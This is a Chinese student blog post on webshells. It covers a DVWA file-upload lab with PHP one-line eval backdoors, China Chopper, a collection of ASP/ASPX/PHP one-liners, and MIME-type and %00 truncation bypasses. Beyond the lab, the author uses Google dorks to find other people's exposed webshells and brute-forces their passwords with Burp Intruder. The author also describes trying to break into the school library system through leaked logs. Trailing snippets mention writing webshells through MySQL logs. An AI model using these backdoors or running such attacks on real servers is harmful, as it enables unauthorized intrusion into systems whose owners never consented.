免考——webshell

目录

  • 免考——webshell

    • 一、webshell概念
    • 二、Webshell获取——CMS获取WebShell
      • 1.webshell获取
      • 2.webshell密码破解
    • 三、Webshell获取——非CMS获取WebShell
      • 1.实际网站攻击(失败了)
      • 2.利用文件上传漏洞
    • 三、一句话后门利用及操作
      • 执行中国菜刀
      • 添加shell
      • 连接一句话后门
      • 执行文件操作
      • 一句话后门整理
    • 四、感悟

免考——webshell

一、webshell概念

webshell就是用来管理服务器的一个工具,以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,拥有对服务器进行操作的权限,又被称作webadmin。Webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途。

但是由于web shell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),所以经常会被黑客加以利用,通过一些上传缺陷,将自己编写的web shell上传到web服务器的页面的目录下,然后通过页面访问的形式进行渗透,或者通过插入 “一句话” 来进行渗透。

二、Webshell获取——CMS获取WebShell

1.webshell获取

主要利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

例如:在Google中输入:“Copyright(C)2008 Bin -> WwW.RoOTkIt.NeT.Cn”进行查询。注意这里使用了双引号,是对指定的关键词进行搜索,否则出来的将是包含这些关键词的合集记录。

2.webshell密码破解

手动破解

  • 现在的webshell一般都要求输入一个密码用来保护Webshell不被他人使用,因而破解登录密码可以凭经验输入一些常见的密码进行测试,蒙对了也就进去了,不过。。。大多数情况都凉了。这里我先试了个“admin”,又试了个“UserPass”,再来些单字符字母,都失败了。

Burp Suite破解

1.考虑到kali中就包含BurpSuite,我们转移战场,直接在kali中打开之前找到的网址。

2.firefox代理配置

3.破解字典下载

4.burpsuite捕包:把抓到的POST请求包发送到"入侵者"(intruder)中进行破解。注意我们输入密码进行验证本身就是一个表单的POST请求,要选择method为post的发送。

5.intruder:我们在position(位置)这个菜单页选择attack type(功能类型)为默认sniper即可。然后选中右边clear$按钮,去掉$符号。 再将password部分add$按钮进行添加。

6.payloads:进行密码字典的一些配置。我们点击LOAD导入下好的字典。

7.之后开始请求-start attack,并静待扫描结果。

这个真的太慢了,我找的字典大概是一万六千个词条,比对了一下午才比对了600多个,也没有找到可以的,不过原理我们有了,找到length返回值不同的,再比对一下状态,即可判断是否为正确密码,毕竟不是破一下就能成功的嘛。

同时在尝试中我发现,webshell的直接获取普遍都是用谷歌进行搜索,在百度等网站下此方法没什么效果。。。所以要FQ了。。。

对于webshell密码破解,除了burpsuite外还可以通过溯雪,速度会比burpsuite快一些,不过在查找怎么破解的时候,看到很多人提到成功率不是很高,同时因为本机kali中还有burpsuite,不用再下载安装,就没有对它进行尝试。

三、Webshell获取——非CMS获取WebShell

1.实际网站攻击(失败了)

最开始我是想要攻击实际网站,也尝试了许多例子,比如说学校的图书馆管理系统,在扫描网站的时候发现他的日志文件是可以查看的,所以想的思路是看看能不能通过日志文件找到管理员的登录密码,再进行直接上传webshell、获取webshell、服务器提权,登录服务器的操作。

不过貌似学校改善了他的系统(┬_┬),2017年还可以看到密码,2019年就已经没有了,而且密码也做了更改。

这个也可以作为一种情况,要是能够获得密码,之后的操作就可以按部就班的完成了。

2.利用文件上传漏洞

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。

自己搭个环境

DVWA是一款渗透测试的演练系统,如果你需要入门,并且找不到合适的靶机,那用DVWA就是个不错的选择。(是的,我没找到合适的可以攻的网站)

安装PHP集成环境

  • 我这里用的是phpstudy 2016。安装起来比较容易,一直点下一步,看到如下的窗口说明你安装成功了。

安装DVWA

  • 安装DVWA
  • 把下载好的DWVA的压缩包,放在phpStudy\WWW中,然后解压DWVA的压缩包。
  • 配置DVWA链接数据库,将DVWA/confing下的config.inc.php.dist修改为 config.inc.php,把原来的db_password改为root(因为刚安装好的集成环境默认的MYSQL 链接用户名和密码为 root root)。
  • 浏览器访问 http://10.1.1.145/DVWA-master/index.php(本机ip)
  • 用默认账号/密码:admin/password进行登录

DVWA文件上传分析

DVWA有难度等级限制,默认设为impossible,记得对难度进行修改。

服务器核心代码LOW

<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
} 

?> 

可以看到,服务器对上传文件的类型、内容没有做任何的检查、限制,无论是php、asp、jpg、png都是可以传的,存在明显的文件上传漏洞,同时上传成功时还会返回target_path,而我们后续菜刀运用恰好需要一句话木马的地址。

接下来我们实际操作理解一下:

  • 编写一句话木马
<?php
@eval($_POST['hack'])
?>
  • 存为php文件,上传一句话木马,记下地址
  • 利用菜刀工具添加地址,以及连接密码,双击进行连接
  • 可以看到文件内容啦,换到实际操作中,这就相当于你侵入了浏览器的后台,之后是要下载文件还是上传文件就是你的自由啦。

服务器核心代码Medium

<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
} 

?> 

可以看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。

我们实践操作一下,php就不可以上传了

因为我们用的一句话木马大小仅为1kb,所以主要是文件类型的检查,尝试修改文件名为hack.png。

三、一句话后门利用及操作

一句话后门是Web渗透中用得最多的一个必备工具,实质就是通过执行SQL语句、添加或者更该字段内容等操作,在数据库表或者相应的字段插入一句话代码,通过中国菜刀、lake一句话后门客户端等工具进行连接,只需要知道上述代码被插入到的具体文件以及连接密码,即可进行webshell的一些操作。

执行中国菜刀

添加shell

连接一句话后门

执行文件操作

一句话后门整理

asp

<%eval request ("pass")%>

aspx

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

php

<?php @eval($_POST['pass']);?>

eval就是执行命令的函数,$_POST[‘pass‘]就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

设想假如一个网站有上传漏洞,对文件没有格式限制,那么我们将一句话木马文件上传上去后,打开chopper.exe,连接到文件的绝对路径上,右键点击文件管理,就可以获取整个网站的目录了。

  1. 00截断拿webshell

    原理:在上传文件的时候,你上传的文件可能被网站自动改成别的名字,这个时候你可以尝试抓取上传文件数据包,将文件名改为:xx.asp%00.jpg进行截断上传。

四、感悟

这次免考我最大的感想就是最难的就是找网站,比如说我想EWebEditor编辑器漏洞,但是首先就是要找到一个使用EWebEditor编辑器的网站,而这个都是通过查看网站中图片的地址,检查其路径或者地址中是否存在EWebEditor的字样,可是我找了好多个网站,都没发现,又不能对网站中图片属性进行搜索,就很难了。

原文地址:https://www.cnblogs.com/KY-high/p/10990363.html

时间: 2024-10-19 13:02:15

免考——webshell的相关文章

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

新版mysql写入webshell(测试版本5.5.53)

0x01    前言 新版本的mysql在my.ini中设置了导出文件的路径,无法再使用select into outfile来写入一句话 此时在mysql文件夹下的my.ini中可以设置到处路径 但是在拿shell时,不可能去修改配置文件 可以通过修改mysql的log文件来获取webshell 0x02    过程 首先进入SQL环境,执行以下SQL语句: show variables like "%general%"; 修改如上两个地方的值,其中修改log的地址为网站目录下的ph

普通权限拿webshell

普通权限拿webshell: 1.0day拿webshell:这个不多说.可以去网上搜索一些, 比如你找到你搞的网站cms是discz的,你可以搜索一些相 关0day直接拿 2.修改网站上传类型配置拿webshell:有的网站,在网站 上传类型中限制了上传脚本类型文件,我们可以通过添加 文件上传类型,如天剑 asp php jpg aspx asa来拿 webshell.(非常老的方法不过有的网站还是存在.如果 运气好可以碰到) 3.IIS写权限拿webshell:比较少见,有专门的利用工具,

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

绕过安全狗狗的WebShell for PHP

最近发现一款过狗shell,分享下... ? ? 本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开 测试可用... 默认密码:p0tt1 使用方法: 访问webshell页面,出现404,没关系,按p键,输入密码 或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改. 1 <?php?define('iphp','p0tt1');define('T','H*');define('A','call');def

Tomcat、Weblogic、JBoss、GlassFish、Resin、Websphere弱口令及拿webshell方法总结 [复制链接]

1.java应用服务器    Java应用服务器主要为应用程序提供运行环境,为组件提供服务.Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器.1.1  常见的Server概述    常见的Java服务器:Tomcat.Weblogic.JBoss.GlassFish.Jetty.Resin.IBM Websphere.Bejy Tiger.Geronimo.Jonas.Jrun.Orion.TongWeb.BES Application Server.Col

用Webshell直接杀入内网

有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了. 鄙人不才,写了一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能. 架设起来也算是比较方便了.就把这个用webshell也好,上传漏洞也好,甩到对方服务器上. 然后配置一下本地的nginx,做一个反向代理+rewrite就OK. 先看代码 proxy.php <?php if(!isset($_GET['url'])){ exit(

利用网络流传的WebShell默认密码库寻找WebShell

声明:本文提到的技术,仅可用作网络安全加固等合法正当目的.本文作者无法鉴别判断读者阅读本文的真实目的,敬请读者在本国法律所允许范围内阅读本文,读者一旦因非法使用本文提到技术而违反国家相关的法律法规,所造成的一切不良后果由该读者独立承担,本文作者不负责也不承担任何直接间接或连带等法律责任.标有“以下为正文内容:”后的部分为本段所述“正文”.如果不同意.不接受以上声明,请不要阅读本文正文内容.如果阅读以下正文内容,视为充分理解并同意以上内容. 本文地址 http://www.cnblogs.com/

数据库备份拿webshell简单记录

数据库备份拿webshell主要前提是能进入到应用系统后台,并且有数据库备份功能(有点废话了)! 当我们想法设法进入到一个系统后台之后,本以为找一个文件上传的地方来上传一个webshell,但是上传点却是限制得死死的,高强度的白名单限制,各种绕过都没有成功,恰巧该系统后台中有数据库备份这个功能,此时我们可以通过数据库备份来拿webshell! 首先我们上传一个图片马,并获取到该图片的路径! 其次我们进入到数据库备份功能处,将当前的数据库路径替换为图片马的路径(如果页面不能进行修改的话,我们可以使